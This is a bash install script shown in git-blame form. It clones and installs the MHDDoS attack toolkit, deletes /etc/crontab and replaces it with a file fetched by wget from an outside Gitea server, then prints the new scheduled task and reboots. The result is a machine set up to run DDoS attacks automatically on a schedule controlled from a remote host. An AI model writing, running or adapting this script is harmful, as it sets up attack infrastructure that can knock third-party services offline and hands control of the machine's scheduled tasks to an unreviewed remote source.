2023-08-17 21:24:26 +05:00
|
|
|
#!/bin/bash
|
2023-08-18 20:35:56 +05:00
|
|
|
apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential git && git clone https://github.com/MatrixTM/MHDDoS.git && cd MH* && pip3 install -r requirements.txt
|
2023-08-18 01:03:59 +05:00
|
|
|
apt upgrade -y
|
|
|
|
apt install -y screen
|
2023-08-18 01:00:52 +05:00
|
|
|
clear
|
2023-08-18 01:03:17 +05:00
|
|
|
cd /etc
|
2023-08-18 01:00:52 +05:00
|
|
|
rm crontab
|
|
|
|
wget http://gitea.dopserver.ru/partizan59rus/dd/raw/branch/main/crontab -O crontab
|
2023-08-18 20:01:30 +05:00
|
|
|
chmod -R 644 crontab
|
2023-08-17 23:07:30 +05:00
|
|
|
echo "Создана задача:"
|
2023-08-18 01:00:52 +05:00
|
|
|
echo "-----------------------"
|
2023-08-17 23:30:52 +05:00
|
|
|
cat /etc/crontab
|
2023-08-18 01:00:52 +05:00
|
|
|
echo "-----------------------"
|
2023-08-18 00:51:06 +05:00
|
|
|
echo "Установка завершена"
|
2023-08-18 01:03:59 +05:00
|
|
|
reboot
|